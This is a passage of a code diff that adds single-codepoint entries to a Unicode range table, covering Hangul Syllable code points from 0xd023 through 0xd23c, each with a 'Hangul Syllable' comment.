+ [0xd023, 0xd023], /* Hangul Syllable */
+ [0xd024, 0xd024], /* Hangul Syllable */
+ [0xd025, 0xd025], /* Hangul Syllable */
+ [0xd026, 0xd026], /* Hangul Syllable */
+ [0xd027, 0xd027], /* Hangul Syllable */
+ [0xd028, 0xd028], /* Hangul Syllable */
+ [0xd029, 0xd029], /* Hangul Syllable */
+ [0xd02a, 0xd02a], /* Hangul Syllable */
+ [0xd02b, 0xd02b], /* Hangul Syllable */
+ [0xd02c, 0xd02c], /* Hangul Syllable */
+ [0xd02d, 0xd02d], /* Hangul Syllable */
+ [0xd02e, 0xd02e], /* Hangul Syllable */
+ [0xd02f, 0xd02f], /* Hangul Syllable */
+ [0xd030, 0xd030], /* Hangul Syllable */
+ [0xd031, 0xd031], /* Hangul Syllable */
+ [0xd032, 0xd032], /* Hangul Syllable */
+ [0xd033, 0xd033], /* Hangul Syllable */
+ [0xd034, 0xd034], /* Hangul Syllable */
+ [0xd035, 0xd035], /* Hangul Syllable */
+ [0xd036, 0xd036], /* Hangul Syllable */
+ [0xd037, 0xd037], /* Hangul Syllable */
+ [0xd038, 0xd038], /* Hangul Syllable */
+ [0xd039, 0xd039], /* Hangul Syllable */
+ [0xd03a, 0xd03a], /* Hangul Syllable */
+ [0xd03b, 0xd03b], /* Hangul Syllable */
+ [0xd03c, 0xd03c], /* Hangul Syllable */
+ [0xd03d, 0xd03d], /* Hangul Syllable */
+ [0xd03e, 0xd03e], /* Hangul Syllable */
+ [0xd03f, 0xd03f], /* Hangul Syllable */
+ [0xd040, 0xd040], /* Hangul Syllable */
+ [0xd041, 0xd041], /* Hangul Syllable */
+ [0xd042, 0xd042], /* Hangul Syllable */
+ [0xd043, 0xd043], /* Hangul Syllable */
+ [0xd044, 0xd044], /* Hangul Syllable */
+ [0xd045, 0xd045], /* Hangul Syllable */
+ [0xd046, 0xd046], /* Hangul Syllable */
+ [0xd047, 0xd047], /* Hangul Syllable */
+ [0xd048, 0xd048], /* Hangul Syllable */
+ [0xd049, 0xd049], /* Hangul Syllable */
+ [0xd04a, 0xd04a], /* Hangul Syllable */
+ [0xd04b, 0xd04b], /* Hangul Syllable */
+ [0xd04c, 0xd04c], /* Hangul Syllable */
+ [0xd04d, 0xd04d], /* Hangul Syllable */
+ [0xd04e, 0xd04e], /* Hangul Syllable */
+ [0xd04f, 0xd04f], /* Hangul Syllable */
+ [0xd050, 0xd050], /* Hangul Syllable */
+ [0xd051, 0xd051], /* Hangul Syllable */
+ [0xd052, 0xd052], /* Hangul Syllable */
+ [0xd053, 0xd053], /* Hangul Syllable */
+ [0xd054, 0xd054], /* Hangul Syllable */
+ [0xd055, 0xd055], /* Hangul Syllable */
+ [0xd056, 0xd056], /* Hangul Syllable */
+ [0xd057, 0xd057], /* Hangul Syllable */
+ [0xd058, 0xd058], /* Hangul Syllable */
+ [0xd059, 0xd059], /* Hangul Syllable */
+ [0xd05a, 0xd05a], /* Hangul Syllable */
+ [0xd05b, 0xd05b], /* Hangul Syllable */
+ [0xd05c, 0xd05c], /* Hangul Syllable */
+ [0xd05d, 0xd05d], /* Hangul Syllable */
+ [0xd05e, 0xd05e], /* Hangul Syllable */
+ [0xd05f, 0xd05f], /* Hangul Syllable */
+ [0xd060, 0xd060], /* Hangul Syllable */
+ [0xd061, 0xd061], /* Hangul Syllable */
+ [0xd062, 0xd062], /* Hangul Syllable */
+ [0xd063, 0xd063], /* Hangul Syllable */
+ [0xd064, 0xd064], /* Hangul Syllable */
+ [0xd065, 0xd065], /* Hangul Syllable */
+ [0xd066, 0xd066], /* Hangul Syllable */
+ [0xd067, 0xd067], /* Hangul Syllable */
+ [0xd068, 0xd068], /* Hangul Syllable */
+ [0xd069, 0xd069], /* Hangul Syllable */
+ [0xd06a, 0xd06a], /* Hangul Syllable */
+ [0xd06b, 0xd06b], /* Hangul Syllable */
+ [0xd06c, 0xd06c], /* Hangul Syllable */
+ [0xd06d, 0xd06d], /* Hangul Syllable */
+ [0xd06e, 0xd06e], /* Hangul Syllable */
+ [0xd06f, 0xd06f], /* Hangul Syllable */
+ [0xd070, 0xd070], /* Hangul Syllable */
+ [0xd071, 0xd071], /* Hangul Syllable */
+ [0xd072, 0xd072], /* Hangul Syllable */
+ [0xd073, 0xd073], /* Hangul Syllable */
+ [0xd074, 0xd074], /* Hangul Syllable */
+ [0xd075, 0xd075], /* Hangul Syllable */
+ [0xd076, 0xd076], /* Hangul Syllable */
+ [0xd077, 0xd077], /* Hangul Syllable */
+ [0xd078, 0xd078], /* Hangul Syllable */
+ [0xd079, 0xd079], /* Hangul Syllable */
+ [0xd07a, 0xd07a], /* Hangul Syllable */
+ [0xd07b, 0xd07b], /* Hangul Syllable */
+ [0xd07c, 0xd07c], /* Hangul Syllable */
+ [0xd07d, 0xd07d], /* Hangul Syllable */
+ [0xd07e, 0xd07e], /* Hangul Syllable */
+ [0xd07f, 0xd07f], /* Hangul Syllable */
+ [0xd080, 0xd080], /* Hangul Syllable */
+ [0xd081, 0xd081], /* Hangul Syllable */
+ [0xd082, 0xd082], /* Hangul Syllable */
+ [0xd083, 0xd083], /* Hangul Syllable */
+ [0xd084, 0xd084], /* Hangul Syllable */
+ [0xd085, 0xd085], /* Hangul Syllable */
+ [0xd086, 0xd086], /* Hangul Syllable */
+ [0xd087, 0xd087], /* Hangul Syllable */
+ [0xd088, 0xd088], /* Hangul Syllable */
+ [0xd089, 0xd089], /* Hangul Syllable */
+ [0xd08a, 0xd08a], /* Hangul Syllable */
+ [0xd08b, 0xd08b], /* Hangul Syllable */
+ [0xd08c, 0xd08c], /* Hangul Syllable */
+ [0xd08d, 0xd08d], /* Hangul Syllable */
+ [0xd08e, 0xd08e], /* Hangul Syllable */
+ [0xd08f, 0xd08f], /* Hangul Syllable */
+ [0xd090, 0xd090], /* Hangul Syllable */
+ [0xd091, 0xd091], /* Hangul Syllable */
+ [0xd092, 0xd092], /* Hangul Syllable */
+ [0xd093, 0xd093], /* Hangul Syllable */
+ [0xd094, 0xd094], /* Hangul Syllable */
+ [0xd095, 0xd095], /* Hangul Syllable */
+ [0xd096, 0xd096], /* Hangul Syllable */
+ [0xd097, 0xd097], /* Hangul Syllable */
+ [0xd098, 0xd098], /* Hangul Syllable */
+ [0xd099, 0xd099], /* Hangul Syllable */
+ [0xd09a, 0xd09a], /* Hangul Syllable */
+ [0xd09b, 0xd09b], /* Hangul Syllable */
+ [0xd09c, 0xd09c], /* Hangul Syllable */
+ [0xd09d, 0xd09d], /* Hangul Syllable */
+ [0xd09e, 0xd09e], /* Hangul Syllable */
+ [0xd09f, 0xd09f], /* Hangul Syllable */
+ [0xd0a0, 0xd0a0], /* Hangul Syllable */
+ [0xd0a1, 0xd0a1], /* Hangul Syllable */
+ [0xd0a2, 0xd0a2], /* Hangul Syllable */
+ [0xd0a3, 0xd0a3], /* Hangul Syllable */
+ [0xd0a4, 0xd0a4], /* Hangul Syllable */
+ [0xd0a5, 0xd0a5], /* Hangul Syllable */
+ [0xd0a6, 0xd0a6], /* Hangul Syllable */
+ [0xd0a7, 0xd0a7], /* Hangul Syllable */
+ [0xd0a8, 0xd0a8], /* Hangul Syllable */
+ [0xd0a9, 0xd0a9], /* Hangul Syllable */
+ [0xd0aa, 0xd0aa], /* Hangul Syllable */
+ [0xd0ab, 0xd0ab], /* Hangul Syllable */
+ [0xd0ac, 0xd0ac], /* Hangul Syllable */
+ [0xd0ad, 0xd0ad], /* Hangul Syllable */
+ [0xd0ae, 0xd0ae], /* Hangul Syllable */
+ [0xd0af, 0xd0af], /* Hangul Syllable */
+ [0xd0b0, 0xd0b0], /* Hangul Syllable */
+ [0xd0b1, 0xd0b1], /* Hangul Syllable */
+ [0xd0b2, 0xd0b2], /* Hangul Syllable */
+ [0xd0b3, 0xd0b3], /* Hangul Syllable */
+ [0xd0b4, 0xd0b4], /* Hangul Syllable */
+ [0xd0b5, 0xd0b5], /* Hangul Syllable */
+ [0xd0b6, 0xd0b6], /* Hangul Syllable */
+ [0xd0b7, 0xd0b7], /* Hangul Syllable */
+ [0xd0b8, 0xd0b8], /* Hangul Syllable */
+ [0xd0b9, 0xd0b9], /* Hangul Syllable */
+ [0xd0ba, 0xd0ba], /* Hangul Syllable */
+ [0xd0bb, 0xd0bb], /* Hangul Syllable */
+ [0xd0bc, 0xd0bc], /* Hangul Syllable */
+ [0xd0bd, 0xd0bd], /* Hangul Syllable */
+ [0xd0be, 0xd0be], /* Hangul Syllable */
+ [0xd0bf, 0xd0bf], /* Hangul Syllable */
+ [0xd0c0, 0xd0c0], /* Hangul Syllable */
+ [0xd0c1, 0xd0c1], /* Hangul Syllable */
+ [0xd0c2, 0xd0c2], /* Hangul Syllable */
+ [0xd0c3, 0xd0c3], /* Hangul Syllable */
+ [0xd0c4, 0xd0c4], /* Hangul Syllable */
+ [0xd0c5, 0xd0c5], /* Hangul Syllable */
+ [0xd0c6, 0xd0c6], /* Hangul Syllable */
+ [0xd0c7, 0xd0c7], /* Hangul Syllable */
+ [0xd0c8, 0xd0c8], /* Hangul Syllable */
+ [0xd0c9, 0xd0c9], /* Hangul Syllable */
+ [0xd0ca, 0xd0ca], /* Hangul Syllable */
+ [0xd0cb, 0xd0cb], /* Hangul Syllable */
+ [0xd0cc, 0xd0cc], /* Hangul Syllable */
+ [0xd0cd, 0xd0cd], /* Hangul Syllable */
+ [0xd0ce, 0xd0ce], /* Hangul Syllable */
+ [0xd0cf, 0xd0cf], /* Hangul Syllable */
+ [0xd0d0, 0xd0d0], /* Hangul Syllable */
+ [0xd0d1, 0xd0d1], /* Hangul Syllable */
+ [0xd0d2, 0xd0d2], /* Hangul Syllable */
+ [0xd0d3, 0xd0d3], /* Hangul Syllable */
+ [0xd0d4, 0xd0d4], /* Hangul Syllable */
+ [0xd0d5, 0xd0d5], /* Hangul Syllable */
+ [0xd0d6, 0xd0d6], /* Hangul Syllable */
+ [0xd0d7, 0xd0d7], /* Hangul Syllable */
+ [0xd0d8, 0xd0d8], /* Hangul Syllable */
+ [0xd0d9, 0xd0d9], /* Hangul Syllable */
+ [0xd0da, 0xd0da], /* Hangul Syllable */
+ [0xd0db, 0xd0db], /* Hangul Syllable */
+ [0xd0dc, 0xd0dc], /* Hangul Syllable */
+ [0xd0dd, 0xd0dd], /* Hangul Syllable */
+ [0xd0de, 0xd0de], /* Hangul Syllable */
+ [0xd0df, 0xd0df], /* Hangul Syllable */
+ [0xd0e0, 0xd0e0], /* Hangul Syllable */
+ [0xd0e1, 0xd0e1], /* Hangul Syllable */
+ [0xd0e2, 0xd0e2], /* Hangul Syllable */
+ [0xd0e3, 0xd0e3], /* Hangul Syllable */
+ [0xd0e4, 0xd0e4], /* Hangul Syllable */
+ [0xd0e5, 0xd0e5], /* Hangul Syllable */
+ [0xd0e6, 0xd0e6], /* Hangul Syllable */
+ [0xd0e7, 0xd0e7], /* Hangul Syllable */
+ [0xd0e8, 0xd0e8], /* Hangul Syllable */
+ [0xd0e9, 0xd0e9], /* Hangul Syllable */
+ [0xd0ea, 0xd0ea], /* Hangul Syllable */
+ [0xd0eb, 0xd0eb], /* Hangul Syllable */
+ [0xd0ec, 0xd0ec], /* Hangul Syllable */
+ [0xd0ed, 0xd0ed], /* Hangul Syllable */
+ [0xd0ee, 0xd0ee], /* Hangul Syllable */
+ [0xd0ef, 0xd0ef], /* Hangul Syllable */
+ [0xd0f0, 0xd0f0], /* Hangul Syllable */
+ [0xd0f1, 0xd0f1], /* Hangul Syllable */
+ [0xd0f2, 0xd0f2], /* Hangul Syllable */
+ [0xd0f3, 0xd0f3], /* Hangul Syllable */
+ [0xd0f4, 0xd0f4], /* Hangul Syllable */
+ [0xd0f5, 0xd0f5], /* Hangul Syllable */
+ [0xd0f6, 0xd0f6], /* Hangul Syllable */
+ [0xd0f7, 0xd0f7], /* Hangul Syllable */
+ [0xd0f8, 0xd0f8], /* Hangul Syllable */
+ [0xd0f9, 0xd0f9], /* Hangul Syllable */
+ [0xd0fa, 0xd0fa], /* Hangul Syllable */
+ [0xd0fb, 0xd0fb], /* Hangul Syllable */
+ [0xd0fc, 0xd0fc], /* Hangul Syllable */
+ [0xd0fd, 0xd0fd], /* Hangul Syllable */
+ [0xd0fe, 0xd0fe], /* Hangul Syllable */
+ [0xd0ff, 0xd0ff], /* Hangul Syllable */
+ [0xd100, 0xd100], /* Hangul Syllable */
+ [0xd101, 0xd101], /* Hangul Syllable */
+ [0xd102, 0xd102], /* Hangul Syllable */
+ [0xd103, 0xd103], /* Hangul Syllable */
+ [0xd104, 0xd104], /* Hangul Syllable */
+ [0xd105, 0xd105], /* Hangul Syllable */
+ [0xd106, 0xd106], /* Hangul Syllable */
+ [0xd107, 0xd107], /* Hangul Syllable */
+ [0xd108, 0xd108], /* Hangul Syllable */
+ [0xd109, 0xd109], /* Hangul Syllable */
+ [0xd10a, 0xd10a], /* Hangul Syllable */
+ [0xd10b, 0xd10b], /* Hangul Syllable */
+ [0xd10c, 0xd10c], /* Hangul Syllable */
+ [0xd10d, 0xd10d], /* Hangul Syllable */
+ [0xd10e, 0xd10e], /* Hangul Syllable */
+ [0xd10f, 0xd10f], /* Hangul Syllable */
+ [0xd110, 0xd110], /* Hangul Syllable */
+ [0xd111, 0xd111], /* Hangul Syllable */
+ [0xd112, 0xd112], /* Hangul Syllable */
+ [0xd113, 0xd113], /* Hangul Syllable */
+ [0xd114, 0xd114], /* Hangul Syllable */
+ [0xd115, 0xd115], /* Hangul Syllable */
+ [0xd116, 0xd116], /* Hangul Syllable */
+ [0xd117, 0xd117], /* Hangul Syllable */
+ [0xd118, 0xd118], /* Hangul Syllable */
+ [0xd119, 0xd119], /* Hangul Syllable */
+ [0xd11a, 0xd11a], /* Hangul Syllable */
+ [0xd11b, 0xd11b], /* Hangul Syllable */
+ [0xd11c, 0xd11c], /* Hangul Syllable */
+ [0xd11d, 0xd11d], /* Hangul Syllable */
+ [0xd11e, 0xd11e], /* Hangul Syllable */
+ [0xd11f, 0xd11f], /* Hangul Syllable */
+ [0xd120, 0xd120], /* Hangul Syllable */
+ [0xd121, 0xd121], /* Hangul Syllable */
+ [0xd122, 0xd122], /* Hangul Syllable */
+ [0xd123, 0xd123], /* Hangul Syllable */
+ [0xd124, 0xd124], /* Hangul Syllable */
+ [0xd125, 0xd125], /* Hangul Syllable */
+ [0xd126, 0xd126], /* Hangul Syllable */
+ [0xd127, 0xd127], /* Hangul Syllable */
+ [0xd128, 0xd128], /* Hangul Syllable */
+ [0xd129, 0xd129], /* Hangul Syllable */
+ [0xd12a, 0xd12a], /* Hangul Syllable */
+ [0xd12b, 0xd12b], /* Hangul Syllable */
+ [0xd12c, 0xd12c], /* Hangul Syllable */
+ [0xd12d, 0xd12d], /* Hangul Syllable */
+ [0xd12e, 0xd12e], /* Hangul Syllable */
+ [0xd12f, 0xd12f], /* Hangul Syllable */
+ [0xd130, 0xd130], /* Hangul Syllable */
+ [0xd131, 0xd131], /* Hangul Syllable */
+ [0xd132, 0xd132], /* Hangul Syllable */
+ [0xd133, 0xd133], /* Hangul Syllable */
+ [0xd134, 0xd134], /* Hangul Syllable */
+ [0xd135, 0xd135], /* Hangul Syllable */
+ [0xd136, 0xd136], /* Hangul Syllable */
+ [0xd137, 0xd137], /* Hangul Syllable */
+ [0xd138, 0xd138], /* Hangul Syllable */
+ [0xd139, 0xd139], /* Hangul Syllable */
+ [0xd13a, 0xd13a], /* Hangul Syllable */
+ [0xd13b, 0xd13b], /* Hangul Syllable */
+ [0xd13c, 0xd13c], /* Hangul Syllable */
+ [0xd13d, 0xd13d], /* Hangul Syllable */
+ [0xd13e, 0xd13e], /* Hangul Syllable */
+ [0xd13f, 0xd13f], /* Hangul Syllable */
+ [0xd140, 0xd140], /* Hangul Syllable */
+ [0xd141, 0xd141], /* Hangul Syllable */
+ [0xd142, 0xd142], /* Hangul Syllable */
+ [0xd143, 0xd143], /* Hangul Syllable */
+ [0xd144, 0xd144], /* Hangul Syllable */
+ [0xd145, 0xd145], /* Hangul Syllable */
+ [0xd146, 0xd146], /* Hangul Syllable */
+ [0xd147, 0xd147], /* Hangul Syllable */
+ [0xd148, 0xd148], /* Hangul Syllable */
+ [0xd149, 0xd149], /* Hangul Syllable */
+ [0xd14a, 0xd14a], /* Hangul Syllable */
+ [0xd14b, 0xd14b], /* Hangul Syllable */
+ [0xd14c, 0xd14c], /* Hangul Syllable */
+ [0xd14d, 0xd14d], /* Hangul Syllable */
+ [0xd14e, 0xd14e], /* Hangul Syllable */
+ [0xd14f, 0xd14f], /* Hangul Syllable */
+ [0xd150, 0xd150], /* Hangul Syllable */
+ [0xd151, 0xd151], /* Hangul Syllable */
+ [0xd152, 0xd152], /* Hangul Syllable */
+ [0xd153, 0xd153], /* Hangul Syllable */
+ [0xd154, 0xd154], /* Hangul Syllable */
+ [0xd155, 0xd155], /* Hangul Syllable */
+ [0xd156, 0xd156], /* Hangul Syllable */
+ [0xd157, 0xd157], /* Hangul Syllable */
+ [0xd158, 0xd158], /* Hangul Syllable */
+ [0xd159, 0xd159], /* Hangul Syllable */
+ [0xd15a, 0xd15a], /* Hangul Syllable */
+ [0xd15b, 0xd15b], /* Hangul Syllable */
+ [0xd15c, 0xd15c], /* Hangul Syllable */
+ [0xd15d, 0xd15d], /* Hangul Syllable */
+ [0xd15e, 0xd15e], /* Hangul Syllable */
+ [0xd15f, 0xd15f], /* Hangul Syllable */
+ [0xd160, 0xd160], /* Hangul Syllable */
+ [0xd161, 0xd161], /* Hangul Syllable */
+ [0xd162, 0xd162], /* Hangul Syllable */
+ [0xd163, 0xd163], /* Hangul Syllable */
+ [0xd164, 0xd164], /* Hangul Syllable */
+ [0xd165, 0xd165], /* Hangul Syllable */
+ [0xd166, 0xd166], /* Hangul Syllable */
+ [0xd167, 0xd167], /* Hangul Syllable */
+ [0xd168, 0xd168], /* Hangul Syllable */
+ [0xd169, 0xd169], /* Hangul Syllable */
+ [0xd16a, 0xd16a], /* Hangul Syllable */
+ [0xd16b, 0xd16b], /* Hangul Syllable */
+ [0xd16c, 0xd16c], /* Hangul Syllable */
+ [0xd16d, 0xd16d], /* Hangul Syllable */
+ [0xd16e, 0xd16e], /* Hangul Syllable */
+ [0xd16f, 0xd16f], /* Hangul Syllable */
+ [0xd170, 0xd170], /* Hangul Syllable */
+ [0xd171, 0xd171], /* Hangul Syllable */
+ [0xd172, 0xd172], /* Hangul Syllable */
+ [0xd173, 0xd173], /* Hangul Syllable */
+ [0xd174, 0xd174], /* Hangul Syllable */
+ [0xd175, 0xd175], /* Hangul Syllable */
+ [0xd176, 0xd176], /* Hangul Syllable */
+ [0xd177, 0xd177], /* Hangul Syllable */
+ [0xd178, 0xd178], /* Hangul Syllable */
+ [0xd179, 0xd179], /* Hangul Syllable */
+ [0xd17a, 0xd17a], /* Hangul Syllable */
+ [0xd17b, 0xd17b], /* Hangul Syllable */
+ [0xd17c, 0xd17c], /* Hangul Syllable */
+ [0xd17d, 0xd17d], /* Hangul Syllable */
+ [0xd17e, 0xd17e], /* Hangul Syllable */
+ [0xd17f, 0xd17f], /* Hangul Syllable */
+ [0xd180, 0xd180], /* Hangul Syllable */
+ [0xd181, 0xd181], /* Hangul Syllable */
+ [0xd182, 0xd182], /* Hangul Syllable */
+ [0xd183, 0xd183], /* Hangul Syllable */
+ [0xd184, 0xd184], /* Hangul Syllable */
+ [0xd185, 0xd185], /* Hangul Syllable */
+ [0xd186, 0xd186], /* Hangul Syllable */
+ [0xd187, 0xd187], /* Hangul Syllable */
+ [0xd188, 0xd188], /* Hangul Syllable */
+ [0xd189, 0xd189], /* Hangul Syllable */
+ [0xd18a, 0xd18a], /* Hangul Syllable */
+ [0xd18b, 0xd18b], /* Hangul Syllable */
+ [0xd18c, 0xd18c], /* Hangul Syllable */
+ [0xd18d, 0xd18d], /* Hangul Syllable */
+ [0xd18e, 0xd18e], /* Hangul Syllable */
+ [0xd18f, 0xd18f], /* Hangul Syllable */
+ [0xd190, 0xd190], /* Hangul Syllable */
+ [0xd191, 0xd191], /* Hangul Syllable */
+ [0xd192, 0xd192], /* Hangul Syllable */
+ [0xd193, 0xd193], /* Hangul Syllable */
+ [0xd194, 0xd194], /* Hangul Syllable */
+ [0xd195, 0xd195], /* Hangul Syllable */
+ [0xd196, 0xd196], /* Hangul Syllable */
+ [0xd197, 0xd197], /* Hangul Syllable */
+ [0xd198, 0xd198], /* Hangul Syllable */
+ [0xd199, 0xd199], /* Hangul Syllable */
+ [0xd19a, 0xd19a], /* Hangul Syllable */
+ [0xd19b, 0xd19b], /* Hangul Syllable */
+ [0xd19c, 0xd19c], /* Hangul Syllable */
+ [0xd19d, 0xd19d], /* Hangul Syllable */
+ [0xd19e, 0xd19e], /* Hangul Syllable */
+ [0xd19f, 0xd19f], /* Hangul Syllable */
+ [0xd1a0, 0xd1a0], /* Hangul Syllable */
+ [0xd1a1, 0xd1a1], /* Hangul Syllable */
+ [0xd1a2, 0xd1a2], /* Hangul Syllable */
+ [0xd1a3, 0xd1a3], /* Hangul Syllable */
+ [0xd1a4, 0xd1a4], /* Hangul Syllable */
+ [0xd1a5, 0xd1a5], /* Hangul Syllable */
+ [0xd1a6, 0xd1a6], /* Hangul Syllable */
+ [0xd1a7, 0xd1a7], /* Hangul Syllable */
+ [0xd1a8, 0xd1a8], /* Hangul Syllable */
+ [0xd1a9, 0xd1a9], /* Hangul Syllable */
+ [0xd1aa, 0xd1aa], /* Hangul Syllable */
+ [0xd1ab, 0xd1ab], /* Hangul Syllable */
+ [0xd1ac, 0xd1ac], /* Hangul Syllable */
+ [0xd1ad, 0xd1ad], /* Hangul Syllable */
+ [0xd1ae, 0xd1ae], /* Hangul Syllable */
+ [0xd1af, 0xd1af], /* Hangul Syllable */
+ [0xd1b0, 0xd1b0], /* Hangul Syllable */
+ [0xd1b1, 0xd1b1], /* Hangul Syllable */
+ [0xd1b2, 0xd1b2], /* Hangul Syllable */
+ [0xd1b3, 0xd1b3], /* Hangul Syllable */
+ [0xd1b4, 0xd1b4], /* Hangul Syllable */
+ [0xd1b5, 0xd1b5], /* Hangul Syllable */
+ [0xd1b6, 0xd1b6], /* Hangul Syllable */
+ [0xd1b7, 0xd1b7], /* Hangul Syllable */
+ [0xd1b8, 0xd1b8], /* Hangul Syllable */
+ [0xd1b9, 0xd1b9], /* Hangul Syllable */
+ [0xd1ba, 0xd1ba], /* Hangul Syllable */
+ [0xd1bb, 0xd1bb], /* Hangul Syllable */
+ [0xd1bc, 0xd1bc], /* Hangul Syllable */
+ [0xd1bd, 0xd1bd], /* Hangul Syllable */
+ [0xd1be, 0xd1be], /* Hangul Syllable */
+ [0xd1bf, 0xd1bf], /* Hangul Syllable */
+ [0xd1c0, 0xd1c0], /* Hangul Syllable */
+ [0xd1c1, 0xd1c1], /* Hangul Syllable */
+ [0xd1c2, 0xd1c2], /* Hangul Syllable */
+ [0xd1c3, 0xd1c3], /* Hangul Syllable */
+ [0xd1c4, 0xd1c4], /* Hangul Syllable */
+ [0xd1c5, 0xd1c5], /* Hangul Syllable */
+ [0xd1c6, 0xd1c6], /* Hangul Syllable */
+ [0xd1c7, 0xd1c7], /* Hangul Syllable */
+ [0xd1c8, 0xd1c8], /* Hangul Syllable */
+ [0xd1c9, 0xd1c9], /* Hangul Syllable */
+ [0xd1ca, 0xd1ca], /* Hangul Syllable */
+ [0xd1cb, 0xd1cb], /* Hangul Syllable */
+ [0xd1cc, 0xd1cc], /* Hangul Syllable */
+ [0xd1cd, 0xd1cd], /* Hangul Syllable */
+ [0xd1ce, 0xd1ce], /* Hangul Syllable */
+ [0xd1cf, 0xd1cf], /* Hangul Syllable */
+ [0xd1d0, 0xd1d0], /* Hangul Syllable */
+ [0xd1d1, 0xd1d1], /* Hangul Syllable */
+ [0xd1d2, 0xd1d2], /* Hangul Syllable */
+ [0xd1d3, 0xd1d3], /* Hangul Syllable */
+ [0xd1d4, 0xd1d4], /* Hangul Syllable */
+ [0xd1d5, 0xd1d5], /* Hangul Syllable */
+ [0xd1d6, 0xd1d6], /* Hangul Syllable */
+ [0xd1d7, 0xd1d7], /* Hangul Syllable */
+ [0xd1d8, 0xd1d8], /* Hangul Syllable */
+ [0xd1d9, 0xd1d9], /* Hangul Syllable */
+ [0xd1da, 0xd1da], /* Hangul Syllable */
+ [0xd1db, 0xd1db], /* Hangul Syllable */
+ [0xd1dc, 0xd1dc], /* Hangul Syllable */
+ [0xd1dd, 0xd1dd], /* Hangul Syllable */
+ [0xd1de, 0xd1de], /* Hangul Syllable */
+ [0xd1df, 0xd1df], /* Hangul Syllable */
+ [0xd1e0, 0xd1e0], /* Hangul Syllable */
+ [0xd1e1, 0xd1e1], /* Hangul Syllable */
+ [0xd1e2, 0xd1e2], /* Hangul Syllable */
+ [0xd1e3, 0xd1e3], /* Hangul Syllable */
+ [0xd1e4, 0xd1e4], /* Hangul Syllable */
+ [0xd1e5, 0xd1e5], /* Hangul Syllable */
+ [0xd1e6, 0xd1e6], /* Hangul Syllable */
+ [0xd1e7, 0xd1e7], /* Hangul Syllable */
+ [0xd1e8, 0xd1e8], /* Hangul Syllable */
+ [0xd1e9, 0xd1e9], /* Hangul Syllable */
+ [0xd1ea, 0xd1ea], /* Hangul Syllable */
+ [0xd1eb, 0xd1eb], /* Hangul Syllable */
+ [0xd1ec, 0xd1ec], /* Hangul Syllable */
+ [0xd1ed, 0xd1ed], /* Hangul Syllable */
+ [0xd1ee, 0xd1ee], /* Hangul Syllable */
+ [0xd1ef, 0xd1ef], /* Hangul Syllable */
+ [0xd1f0, 0xd1f0], /* Hangul Syllable */
+ [0xd1f1, 0xd1f1], /* Hangul Syllable */
+ [0xd1f2, 0xd1f2], /* Hangul Syllable */
+ [0xd1f3, 0xd1f3], /* Hangul Syllable */
+ [0xd1f4, 0xd1f4], /* Hangul Syllable */
+ [0xd1f5, 0xd1f5], /* Hangul Syllable */
+ [0xd1f6, 0xd1f6], /* Hangul Syllable */
+ [0xd1f7, 0xd1f7], /* Hangul Syllable */
+ [0xd1f8, 0xd1f8], /* Hangul Syllable */
+ [0xd1f9, 0xd1f9], /* Hangul Syllable */
+ [0xd1fa, 0xd1fa], /* Hangul Syllable */
+ [0xd1fb, 0xd1fb], /* Hangul Syllable */
+ [0xd1fc, 0xd1fc], /* Hangul Syllable */
+ [0xd1fd, 0xd1fd], /* Hangul Syllable */
+ [0xd1fe, 0xd1fe], /* Hangul Syllable */
+ [0xd1ff, 0xd1ff], /* Hangul Syllable */
+ [0xd200, 0xd200], /* Hangul Syllable */
+ [0xd201, 0xd201], /* Hangul Syllable */
+ [0xd202, 0xd202], /* Hangul Syllable */
+ [0xd203, 0xd203], /* Hangul Syllable */
+ [0xd204, 0xd204], /* Hangul Syllable */
+ [0xd205, 0xd205], /* Hangul Syllable */
+ [0xd206, 0xd206], /* Hangul Syllable */
+ [0xd207, 0xd207], /* Hangul Syllable */
+ [0xd208, 0xd208], /* Hangul Syllable */
+ [0xd209, 0xd209], /* Hangul Syllable */
+ [0xd20a, 0xd20a], /* Hangul Syllable */
+ [0xd20b, 0xd20b], /* Hangul Syllable */
+ [0xd20c, 0xd20c], /* Hangul Syllable */
+ [0xd20d, 0xd20d], /* Hangul Syllable */
+ [0xd20e, 0xd20e], /* Hangul Syllable */
+ [0xd20f, 0xd20f], /* Hangul Syllable */
+ [0xd210, 0xd210], /* Hangul Syllable */
+ [0xd211, 0xd211], /* Hangul Syllable */
+ [0xd212, 0xd212], /* Hangul Syllable */
+ [0xd213, 0xd213], /* Hangul Syllable */
+ [0xd214, 0xd214], /* Hangul Syllable */
+ [0xd215, 0xd215], /* Hangul Syllable */
+ [0xd216, 0xd216], /* Hangul Syllable */
+ [0xd217, 0xd217], /* Hangul Syllable */
+ [0xd218, 0xd218], /* Hangul Syllable */
+ [0xd219, 0xd219], /* Hangul Syllable */
+ [0xd21a, 0xd21a], /* Hangul Syllable */
+ [0xd21b, 0xd21b], /* Hangul Syllable */
+ [0xd21c, 0xd21c], /* Hangul Syllable */
+ [0xd21d, 0xd21d], /* Hangul Syllable */
+ [0xd21e, 0xd21e], /* Hangul Syllable */
+ [0xd21f, 0xd21f], /* Hangul Syllable */
+ [0xd220, 0xd220], /* Hangul Syllable */
+ [0xd221, 0xd221], /* Hangul Syllable */
+ [0xd222, 0xd222], /* Hangul Syllable */
+ [0xd223, 0xd223], /* Hangul Syllable */
+ [0xd224, 0xd224], /* Hangul Syllable */
+ [0xd225, 0xd225], /* Hangul Syllable */
+ [0xd226, 0xd226], /* Hangul Syllable */
+ [0xd227, 0xd227], /* Hangul Syllable */
+ [0xd228, 0xd228], /* Hangul Syllable */
+ [0xd229, 0xd229], /* Hangul Syllable */
+ [0xd22a, 0xd22a], /* Hangul Syllable */
+ [0xd22b, 0xd22b], /* Hangul Syllable */
+ [0xd22c, 0xd22c], /* Hangul Syllable */
+ [0xd22d, 0xd22d], /* Hangul Syllable */
+ [0xd22e, 0xd22e], /* Hangul Syllable */
+ [0xd22f, 0xd22f], /* Hangul Syllable */
+ [0xd230, 0xd230], /* Hangul Syllable */
+ [0xd231, 0xd231], /* Hangul Syllable */
+ [0xd232, 0xd232], /* Hangul Syllable */
+ [0xd233, 0xd233], /* Hangul Syllable */
+ [0xd234, 0xd234], /* Hangul Syllable */
+ [0xd235, 0xd235], /* Hangul Syllable */
+ [0xd236, 0xd236], /* Hangul Syllable */
+ [0xd237, 0xd237], /* Hangul Syllable */
+ [0xd238, 0xd238], /* Hangul Syllable */
+ [0xd239, 0xd239], /* Hangul Syllable */
+ [0xd23a, 0xd23a], /* Hangul Syllable */
+ [0xd23b, 0xd23b], /* Hangul Syllable */
+ [0xd23c, 0xd23c], /* Hangul Syllable */
